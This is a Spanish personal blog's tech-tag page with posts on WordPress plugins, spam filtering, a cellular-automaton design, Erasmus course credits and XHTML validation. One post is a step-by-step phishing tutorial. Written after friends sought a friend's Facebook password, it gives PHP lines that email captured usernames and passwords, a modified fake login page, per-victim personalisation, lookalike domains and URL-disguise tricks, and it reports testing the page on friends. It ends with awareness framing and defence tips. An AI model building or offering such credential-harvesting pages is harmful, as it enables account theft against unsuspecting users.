Informática - Tienda de ultramarinos
logo Tienda de Ultramarinos
Etiquetas: Informática

Ininite Scroll + Automatic Text Expander

Dos de los detalles en los que más me he esforzado y que más me gustan del nuevo diseño son que tenga scroll infinito, de modo que no hace falta clicar en página atrás para ver viejos posts (tanto en la página principal como en categorías), y que las entradas aparezcan contraídas con posibilidad de extenderse en el mismo lugar.

Activar el scroll infinito es muy fácil en WordPress utilizando el plugin Infinite Scroll, que funciona perfectamente y es sencillísimo de configurar. Únicamente hay que decirle bajo qué clases CSS están los posts y el link de navegación atrás. Nada más.

Por otro lado, para facilitar las cosas decidí que mostrar unos pocos párrafos sería lo ideal. Busqué y busqué, pero no fui capaz de encontrar nada que cortase los artículos con posibilidad de expandirlos. Creo que la única alternativa ahora mismo en WordPress es mandar que aprezca un extracto (the_excerpt()) en lugar de todo el contenido (the_content()), con el cuál eliges un número de caracteres que quieres que se muestren.

La función propia de wordpress parece ser bastante probre y hay muchos plugins mejorándola, evitando que corte palabras enteras, que corte etiquetas HTML, etc. Pero nada de esto hacía lo que yo quería, pues obliga al lector a abrir el post y cargar otra página (de lo cual algunos estarán encantadísimos porque les suma visitas; pero mi intención es que me lean, no hacerme pajas con las estadísticas de páginas visitadas).

De ese modo, terminé por bajarme Text Expander, un plugin que permite contraer ciertas partes de un post simplemente escribiendo entre corchetes EXPAND y /EXPAND rodeando al texto a ocultar. Parecía la solución… pero hubiera supuesto añadir a mano en cada una de todas las entradas del blog esas etiquetas, lo cual es una tarea titanica. Además de que si algún día decido cambiarlo supondría un esfuerzo equivalente.

Por eso terminé por empezar a cacharrear con el código del plugin para hacerme algo a la medida. Ahora, para cada entrada que se carga se cuentan los párrafos que tiene, y si son más de cinco, le digo que me añade el EXPAND entre el segundo y el tercero. En realidad no sólo tiene en cuenta párrafos, sino también listas, citas e imágenes. Parecía sencillo, pero la cosa se empezó a complicar cuando me di cuenta de que había que tener mucho cuidado con los párrafos dentro de un blockquote, o las sublistas dentro de listas (ul); de lo contrario, al perderse las etiquetas de cierre, se desestructuraba todo el blog. Creo que finalmente he sido capaz de solucionarlo, pero como puede haber alguna combinación que no haya tenido en cuenta os pediré que si en algún momento descubrís algún error me lo comuniquéis.

Otro problema que me costó identificar fue que las nuevas entradas obtenidas al deslizar la página hasta el final se cargaban expandidas, de modo que pensaba que no estaba aplicandose la conversión allí. Al final me di cuenta de que la contracción se aplicaba al cargar la página con una línea de Javascript, pero esto no funciona con las nuevas al estar ya “cerrada” la web. Afortunadamente Infinite Scroll incluye un apartado en su configuración que permite al usuario añadir código Javascript que se invoque una vez el nuevo contenido se carga, de modo que con tres o cuatro líneas solucioné el problema.

Creo que es algo bastante útil y que quizás más gente necesite algo así, de modo que he pensado que quizás podría darle un retoque y publicarlo como plug-in; aunque nunca lo he hecho así que no tengo ni idea de si es un proceso sencillo. ¿Alguien tiene experiencia en plugins de WordPress y puede darme un consejo?

Por cierto, pensé que sería interesante dejar la primera entrada de la página principal directamente extendida, pues al ser la última publicada será más probable que la gente entre a leer esa. ¿Os gusta así o la preferís contraída como el resto?

Phishing – ¿Sabías lo fácil que es hacer una página que robe tus datos?

Anoche unos amigos me comentaron sus infructuosos intentos por conseguir la contraseña del facebook de una amiga. Es una buena amiga, sólo lo quieren por diversión (para enviar solicitudes de amistad a usuarios filipinos) y para retarse a sí mismos. Sin pensarlo demasiado, les sugerí algo de phishing.

Entonces me dije ¿Por qué no intentar hacer mi propia página? (tranquilo, no hace nada malo, puedes acceder con datos falsos también) Es un tema interesante y, como todo, se aprende mucho cuando lo haces por ti mismo. Pensé que sería mucho más complicado, pero en una hora conseguí una página falsa de login que reenviaba usuario y contraseña a mi email, y redirigía a facebook.com. Todo sin saber apenas nada de PHP (lo poco de modificar alguna cosilla del blog), que he tenido que buscar hasta como concatenar cadenas. Y sin mirar ningún tipo de guía sobre cómo hacer una página de phishing. Una hora trabajando por mi cuenta.

Aunque mucha gente pueda saber lo que es el phishing, no se le da una importancia real porque todos pensamos que es mucho más complicado; sin embargo quiero demostrar aquí lo sencillísimo que es empezar a pescar datos, para concienciaros de que hay que tener un poco más de cuidado al introducir nuestras contraseñas en los links que seguimos. Lo he probado con éxito con algunos de mis amigos. Si no te interesan los detalles técnicos, sáltatelos y aprende a defenderte.

Gone Phishing Martha Stewart Chocolate Cupcakes

Primero – Enviar email con PHP

Supongamos que queremos recibir los datos que introduce el usuario por email. También se podrían ir almacenando en un fichero en nuestro servidor y luego consultarlo, pero para este caso me preferí utilizar el email. En PHP es sencillísimo, y en esta página explican todo. Con un fichero de seis líneas es suficiente, el primer ejemplo de todos.

Pero nosotros no queremos enviar siempre el mismo mensaje, queremos el usuario y contraseña, que en la página de login de facebook se envían como parámetros mediante POST bajo las variables email y pass. Así que escribimos:

$message = “Otro pardillo pone sus datos!:\n\n”. $_POST[“email”] . ” – ” . $_POST[“pass”];

En lugar de escribir en la misma página si el email fue enviado con éxito, lo que hacemos es redirigir a facebook.com (el usuario normalmente está ya logueado, por lo que no se dará cuenta de nada), por lo que escribimos al final del archivo:

header(“Location: http://www.facebook.com/”);

Completado. Luego podemos mejorarlo todo lo que queramos. Por ejemplo, mi fichero acepta un parámetro “newurl” que permite redirigir a cualquier otra web. Además, si el campo “pass” llega vacío, vuelve a la página anterior.

Finalmente, tenemos un fichero como este (haz clic para ver en tu navegador), listo para recibir los datos.

Segundo – Modificar login de Facebook

Ahora vamos al link de cualquier página de facebook sin estar logueados y nos saldrá la ventana de login y la guardamos como cualquier otra página.

Lo único que tenemos que hacer aquí, es buscar el formulario y cambiar la dirección a la que lo envía facebok, por la de nuestro fichero que envía emails, en mi caso action=”email.php”.

Y ya está. Ahora, subimos todo a un servidor, y cualquiera que acceda a nuestra página, verá una perfecta copia del login de Facebook, pero que nos enviará toda la información a nuestro email.

Tercero – Mejoras al login

Todo lo siguiente es un extra, con lo hecho hasta ahora ya es perfectamente funcional.

Por supuesto la página de login también puede mejorarse. Por ejemplo, personalizarla para cada víctima, haciendo que aparezca por defecto su email en la caja de texto. Esta información podemos pasarla con parámetros al enviarle nuestra dirección, de la forma:

http://loginfalso.php?name=fulanito&domain=gmail.com

Buscamos el input con id=email y añadimos la siguiente línea.

value=”<?php if($_GET[“name”]){echo ($_GET[“name”].”@”.$_GET[“domain”]);}?>”

También, puesto que el fichero email.php acepta un parámetro para cambiar la redirección, podemos configurarlo desde aquí, “http://loginfalso.php?name=fulanito&domain=gmail.com&newurl=www.otrapagina.com

cambiando el “action” del formulario por:

action=”<?php echo “email.php?newurl=”.$_GET[“newurl”]?>”

Desde luego, todo esto es muy descarado, así que se puede ofuscar añadiendo parámetros sin sentido, para hacer más larga la dirección. De hecho, el email se especifica en dos parámetros precisamente para esto. Se pueden poner todos los que se quieran y en cualquier orden.

Tampoco se va a fiar mucho alguien a quién le pases por chat un enlace a tu propio dominio, como tiendadeultramarinos.es, y cuando le salga el login de facebook le parecerá raro. Por eso, cuando alguien se toma en serio este tema, compra dominios con nombres parecidos al original. Por ejemplo, facebok, fecebook, facebooc, feisbuk.es… de modo que cuando entras al link no te fijas de que realmente es otra página.

Pero si alguna vez habéis copiado un vínculo desde Facebook, veréis que los envía a través de una página que redirige al vínculo. Algo como lo siguiente, envía a mi blog, pero cuando lo ves, parece que sea interno de Facebook.

https://www.facebook.com/l.php?u=http%3A%2F%2FDIRECCION&h=b70fc

https://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tiendadeultramarinos.es&h=b70fc

Claro que, una vez accedido al link, la parte inicial de www.facebook.com desaparece: pero muchas veces el usuario no se fijará una vez esté dentro de la web, sólo en el momento de clicar el enlace.

Una última mejora sería bajarnos las páginas de login de distintos idiomas y modificarlas al gusto. Para gestionar todas sencillamente con la misma dirección, he creado un pequeño fichero PHP que redirige a las páginas de login de cada idioma en función de un parámetro lang. Más info y ejemplos de direcciones ofuscadas, en el fichero de redirección.

Cuarto – Lo mismo en Gmail

No os penséis que Google lo pone más difícil. He seguido el mismo proceso con idénticos resultados. Aquí la página falsa. Como no tenemos el truco de facebook de poner la dirección primero, tenemos que recurrir a otro modo para dar la sensación al ver el link de que es la página real de gmail. Esto lo explican muy bien en la wikipedia, y se hace sencillamente poniendo la dirección destino detrás de la arroba, así:

http://www.gmail.com@direccionfalsa

Finalmente – ¿Cómo me defiendo?

Como habéis visto es tremendamente sencillo hacer una página falsa para robar vuestras cuentas de acceso a cualquier servicio. Generalmente nadie se va a molestar en robaros la cuenta del Facebook, el objetivo real detrás del phishing es tener acceso a las cuentas de los bancos, así que es con lo que más cuidado hay que tener.

El principal consejo es, siempre, escribir vosotros mismos la dirección de la página en la que queréis loguearos. Nunca lo hagáis siguiendo vínculos. Primero iniciad sesión en una pestaña aparte, y luego volved al email y seguid el enlace que os han pasado, y si no es trampa no os pedirá que volváis a iniciar sesión.

La banca electrónica es segura, simplemente hay que ser cuidadoso a la hora de meter nuestros datos. Del mismo modo que no enviríais vuestra tarjeta de crédito con vuestro PIN en un sobre a una dirección desconocida, ni daríais vuestros datos a cualquiera que se presentase en casa o llamase por teléfono. En internet hay que seguir, exactamente, las mismas precauciones que en la vida real: sentido común.

El objetivo de la explicación en este post de cómo hacer la página es doble. Primero, llamar vuestra atención sobre el problema destacando la facilidad de crearlas. Segundo, entendiendo cómo puede atacaros vuestro “enemigo” tenéis más posibilidades de comprender cómo defenderos.

Para terminar, os dejo un par de guías en español para protegerse del phishing, más completas que las pinceladas que he dado yo: Vulneravility Team e  Internautas.

Filtro de spam en Gmail

Los que me conocieron en los primeros tiempos de gmail recordarán que escrutaba casi con obsesión la lista de spam, con la constante duda de que pudieran colarse mensajes reales. Tras comprobar la sobrada eficiencia del filtro, pasó de ser algo habitual a una breve comprobación cada largo periodo.

Hoy, sorprendido ante su reducido volumen (240 emails durante el último mes, cuando habitualmente superan el millar*) he decidido echarle un vistazo y he encontrado nada menos que cinco mensajes erróneamente clasificados como spam.

Además, durante los últimos meses se están colando en bandeja de entrada varios emails de spam procedentes de un par de amigos con cuentas “infectadas”. Está tan claro que son spam que no necesito ni abrirlos para darme cuenta de ello. Supongo que superan el filtro al estar en mi libreta de direcciones, por lo que acabo de eliminarlos de la misma, a ver si así dejan de llegar.

¿Soy solo yo, o alguien más ha notado una merma en la eficiencia del filtro de spam?

*No sé si las últimas semanas habrán desmontado alguna botnet de spam de esas que suponen un importante porcentaje del flujo mundial, pero me resulta muy extraño ver la cuarta parte de lo habitual.

Ideas para un autómata celular basado en genes

A raíz de un buzz que publiqué sobre El Juego de la Vida, un colega hizo que me entrara el gusanillo de programar mi propio autómata celular. Lo más difícil de hacer algo así no es la propia programación, sino desarrollar un buen modelo que sea consistente y que pueda dar lugar a cosas interesantes. En los momentos de aburrimiento de alguna asignatura, esta semana he ido dando un poco de forma a este mundo que me gustaría crear.

A diferencia del de Conway, estos autómatas se podrán desplazar. El escenario, en un principio, sería una cuadrícula normal y corriente, en la que cada celda está conectada con sus ocho vecinas, lo cual quiere decir que una célula podría desplazarse como el rey en una partida de ajedrez.

Las acciones se sucederán por turnos, al final de los cuales cada célula tiene que satisfacer un mínimo de energía, por lo que su objetivo es desplazarse por el mapa en busca de comida (que aparecerá al azar al inicio de cada turno). Podrán ir almacenando los excedentes por si en algún momento no encuentra comida, y porque además de ese mínimo, si adquiere un determinado nivel de “reservas”, podrá dividirse por mitosis en dos células iguales. En el momento de la división celular existirá un factor aleatorio de “malformaciones” que permitirá la variabilidad genética. Cada célula vivirá durante un número determinado de turnos, transcurridos los cuales morirá si no se ha reproducido.

Para localizar la comida utilizarán dos tipos de “sensores” a los que he llamado visión y olfato. La visión sólo funciona en la dirección hacia la que está mirando la célula, mientras que el olfato es omnidireccional. En la imagen superior, los puntos negros representan células, y línea blanca es la dirección en la que miran. A pesar de los colores, dudo que implemente una disminución en la calidad de la visión con la distancia, pero sí habrá algo como diferentes niveles permitiendo más alcance.

Otro de los genes determinará la velocidad, representando la cantidad de cuadrados que se puede desplazar en un tiempo dado. Sólo existirá el movimiento hacia delante (siendo delante cualquiera de los tres cuadrados adyacentes en su campo de visión) y el giro para mirar en otra dirección. Cada turno se dividirá en fases, probablemente cuatro, durante las cuales se sucederán las distintas acciones de las células. Si ven/huelen comida, se dirigirán a ella; en caso contrario girarán o se moverán aleatoriamente hasta encontrar algo. Para comer, basta con estar situados en la misma celda de la comida al finalizar cada fase.

En principio en cada fase la célula deberá decidir si moverse, girar, o quedarse a comer. Quizás en un futuro se podría implementar un sistema por puntos de movimiento en el que cada una de las acciones consuma distinto número y se puedan combinar. Al inicio de cada turno se descontará de la reserva la cantidad de comida que requiera la célula; si al final del turno la reserva es negativa, la célula morirá. Si es superior al umbral de reproducción, se dividirá. No hay problemas en que dos o más células se sitúen en la misma celda, pero si todas quieren comer, se dividiría el total equitativamente.

El juego básico de genes que he pensado son: visión, olfato, vida y velocidad, los cuales he explicado ya. Tengo alguno más en mente, que debería desarrollar más, como por ejemplo: reserva, capacidad de almacenar más recursos; hijos, pudiendo dividirse en más de dos células; ataque, quitando vida y evitando que una célula en la misma celda pueda se quede a comer.

Finalmente, cada tipo de genes tendrá varias versiones, siendo unos recesivos y otros dominantes. Esto implicará que las células tengan dos juegos distintos de genes, y sólo se hará efectivo uno de cada par. Aunque así se puedan complicar las cosas, esto permitirá que en los hijos de una célula determinada puedan reaparecer ciertas atributos  ocuridas en generaciones anteriores. Además, abre la puerta a una posible implementación futura en la que la reproducción se realice entre dos pares de células.

Los diferentes niveles de mejoría que proporcione cada gen, tendrán la contrapartida de que provocarán que la célula sufra un mayor consumo energético.

¿Alguna sugerencia, crítica o recomendación de mis lectores? Estoy abierto a cualquier idea puesto que para mí es todo un mundo que explorar.

La absurda convalidación de asignaturas en Erasmus

Como sabe todo el que se ha enfrentado a ello, cuando te vas a otra universidad a cursar parte de tus estudios tienes que enfrentarte a una cantidad de papeleo impresionante, escribiendo lo mismo cien veces distintas para veinte sitios diferentes, con ayuda mínima. Pero no es de esto de lo que quiero hablar.

Una de las cosas que hay que hacer, obviamente, es seleccionar las asignaturas que cursarás en la universidad de destino, las cuales deben ser aprobadas por el coordinador Erasmus de tu carrera para comprobar que no vas a estar haciendo trivialidades o cosas que ya hayas estudiado sobradamente.

Para ello, por cada asignatura en que te matriculas en la nueva universidad, tienes que seleccionar una equivalente en la tuya (o varias si no coincide el número de créditos). Esto me parece completamente necesario para las obligatorias y troncales, pues son conocimientos que se consideran totalmente necesarios para alguien que estudia esa carrera.

Lo que ya no tiene sentido alguno es tener que hacer esto mismo con las optativas, especialmente teniendo en cuenta que son una decisión totalmente arbitraria de cada facultad. Las asignaturas obligatorias seguramente serán muy similares en todo el mundo para la misma carrera, pues componen el tronco de conocimiento común que cualquiera dedicado a ello debería conocer. Pero las optativas pueden ser cosas totalmente dispares; por supuesto que habrá varias que coincidan en casi todas las universidades, pero quizás sean la mitad.

Las optativas no sólo dependen de la idea que los coordinadores de la carrera tengan de qué puede ser útil y qué no, sino que también están totalmente sujetas al campo de investigació o especialidades de los diferentes profesores del claustro.

Así, se dan cosas tan ridículas como que Functional and Logic Programming la estoy convalidando en Zaragoza por Técnicas avanzadas de programación que, no tienen absolutamente nada que ver.

O que al ser Computer Security del doble de créditos que su equivalente Criptografía y seguridad en comunicaciones, la estoy convalidando también por Diseño y evaluación de redes. Y Theory of computation se ha convertido en Modelos estocásticos en ingeniería. Lo mismo, vaya.

Y la gota que colma el vaso es que luego, a efectos prácticos —expediente, título, etc.—, las únicas asignaturas que contarán para mí serán las matriculadas en la Universidad de Zaragoza, obviando por completo todo lo que haya hecho en la UCC.

Validación XHTML para WordPress

Si los estándares están para algo es para respetarlos. En la informática, donde cada cosa puede ser de su padre y de su madre (y generalmente lo son) el uso de estándares tiende a facilitar mucho las cosas, especialmente la compatibilidad. Que todavía sea necesario llenar las páginas webs de scripts detectando el navegador para utilizar un código u otro tendría que darnos vergüenza.

Y no sólo en la informática, los estándares facilitan la vida allá dónde van. Los tamaños de las camas son estándar: o son de 80, o son de 90, pero no vas a tener camas de 85; lo cual ayuda mucho al comprar sábanas y demás. El formato de etiquetado de las camisetas o zapatos es estándar: una M siempre es más pequeña que una L, y un 38 es más pequeño que un 42. Sin embargo no es estándar la medida de las mismas, por lo que dependiendo de la marca L y XL tienen tamaños completamente diferentes. Eso significa que en mi armario hay camisetas de varios tallajes, y cuando compras por internet tienes que buscar las especificaciones del fabricante de ese modelo y comparar con las de casa.

Otra cosa que no es estándar son los cargadores de los móviles, por lo que siempre has de andar con el tuyo a cuestas y ningún amigo puede dejarte el suyo, incluso de la misma marca. Sí, Nokia siempre ha seguido una muy buena política al respecto, hasta que los redujeron de tamaño hace poco y vuelta a empezar. Las tarjetas de crédito y los carnéts son estándar, y por eso todos caben perfectamente en tu cartera.

En internet, la organización encargada de la adopción de estándares es el World Wide Web Consortium (W3C), dirigido por Tim Berners-Lee, el padre de la web. El W3C se compone de un amplio número de expertos que velan por la compatibilidad de todos los estándares y por conseguir un consenso con la industria para que los navegadores y herramientas soporten un núcleo básico de funcionalidades con el que poder hacer cosas sin volverse loco por saber si lo que has hecho se verá igual en todas partes.

Como muchos saben y habrán cacharreado en algún momento de sus vidas, la base de las páginas web es el lenguaje HTML. Otro metalenguaje de marcado que puede parecer muy similar es XML, utilizado para organizar y etiquetar documentos de texto, funcionando mediante etiquetas de la misma forma que HTML. No puede considerarse un lenguaje directamente porque en realidad sólo consta de un conjunto de directrices y especificaciones sobre cómo utilizarse, por lo que cada uno puede utilizar las etiquetas y valores que le vengan en gana. Simplemente tiene que respetar la estructura y formato de XML. Este formato es muy práctico para procesar cualquier tipo de información con un ordenador y es ampliamente utilizado en múltiples áreas.

Como decía, HTML y XML son muy similares, pero el primero no respeta todas las especificaciones del segundo, por lo que se inventó XHTML, que es básicamente un fichero HTML con la estructura que dicta XML. Una de las principales características es que todas las etiquetas deben ser correctamente cerradas, cosa que no era necesaria con HTML, o la prohibición de anidar ciertas etiquetas en otras.

De XHTML 1.0 existen diferentes versiones, cada una más laxa que la anterior con respecto a las normas. Son Strict, Transitional y Frameset. Luego se creó XHTML 1.1, que es XHTML 1.0 Strict con alguna cosa más. La versión 2.0 lleva 10 años de borradores. Para saber si tu página cumple los estándares, W3C ofrece su validador.

Una de las principales motivaciones de la W3C detrás de todos estos estándares es separar la definición de la estructura de una página de la información mostrada por la misma. Un buen aliado para ello han sido las hojas de estilos CSS, una poderosa herramienta para definir el diseño de tu web, y que ha desplazado por completo a las famosas “tablas” tan utilizadas en los 90. En aquellos tiempos, si querías colocar varios elementos en distintos puntos tenías que llenar la página de tablas invisibles con infinitas filas y columnas para cada situación. Con CSS todo es un mundo maravilloso de orden y funcionalidad.

Afortunadamente, con el nuevo diseño he tenido bastante suerte y seguía los estándares bastante bien, salvo por algunas etiquetas mal cerradas aquí o haya, que incluso puede que hayan sido fallo mío con las modificaciones.

Otro pequeño problema ha venido con el plugin oficial de Statcounter, que te introduce tres líneas en el blog. Utiliza target=”_blank” en el vínculo (abrir en ventana nueva) lo cual está desaconsejado por el W3C. También olvidan cerrar la etiqueta de la imagen. Tienen los comentarios cerrados, por lo que he dejado nota en el repositorio de plugins de WordPress. Para arreglarlo tienes que ir al editor de plugins de tu WordPress y hacer los cambios en el fichero php. En mi caso es la línea 288.

Un problema “peor” viene con las galerías de imágenes que WordPress te permite insertar en las entradas. Casualmente ayer utilicé por primera vez la opción de galería para mostrar el viejo diseño; esto es básicamente como publicar un álbum de fotos de forma automática, sin necesidad de insertar las imágenes una a una. Si no llego a utilizarlo ni me hubiese dado cuenta.

Resulta que al insertar la galería puedes seleccionar varias opciones, con lo que dependiendo de cada una tendrá distintos formatos. Estos formatos están definidos por un CSS que se copia en el cuerpo de la entrada. Esto está tremendamente mal, porque a fin de cuentas estás mezclando la definición con el contenido. HTML está dividido en dos secciones: cabecera y cuerpo, head y body. Lo correcto es que en la cabecera estén todas las definiciones y en el cuerpo la información.

Realmente las CSS suelen estar en un fichero aparte, el cual indicas en la cabecera. Esto te permite utilizar la misma definición en cualquier página sin tener que copiar las definiciones en cada una, pero para cosas puntuales como ésta, es correcto ponerlas simplemente en la cabecera.

Tras barajar varias posibles soluciones a mano, me he decantado por googlear… y efectivamente es un problema que había inquietado a muchos otros antes. Está publicado desde hace trece meses en el trac de WordPress, pero no se se implementarán soluciones en la próxima versión. (Trac es una herramienta utilizada para la gestión de errores en un proyecto). Mientras tanto, se han publicado varios plugins solucionándolo (están enlazados en los comentarios del trac). Yo he instalado Cleaner WordPress Gallery, que simplemente crea un fichero CSS aparte y lo enlaza en la cabecera.

Así pues, finalmente he conseguido superar satisfactoriamente el test de XHTML 1.1.

Multilawyer Perceptron

multilawyer perceptron

Quizás es un poco dura y no para todos los públicos, pero esto demuestra que estudiar no es sano. Se me ocurrió un día o dos antes del último examen, pero hasta que no he tenido un rato de tiempo libre no he podido hacerla. Espero no haberla cagado con los personajes de Ally McBeal porque jamás vi esa serie, pero fue tan famosa que imagino que el resto los reconocerán. Y sí, Lincoln fue abogado antes que presidente. Lo he descubierto fortuitamente buscando caras de abogados.

Consejo para quienes organicen el grado de Informática

Sé que ya llego tarde pero…

  1. Eliminar todo el contenido relacionado con Ingeniería del Software.
  2. Mandar a los alumnos tres o cuatro años a trabajar.
  3. Ahora sí, meterse a fondo con metodologías, uml, diseños, planificaciones… Cuando realmente lo valoremos.

Porque mientras estás estudiando y el mundo es rosa, a todos nos parecen una completa pérdida de tiempo. Y ojo, que sé que son fundamentales, pero igual sólo uno de cada veinte estudiantes no piensa que son un montón de dibujitos y chorradas. Es como obligar a leer El Quijote en primero de la ESO.

Bueno, o eso, o enseñar a programar desde primero aplicando al 100% alguna metodología… No sé qué traería más problemas/soluciones.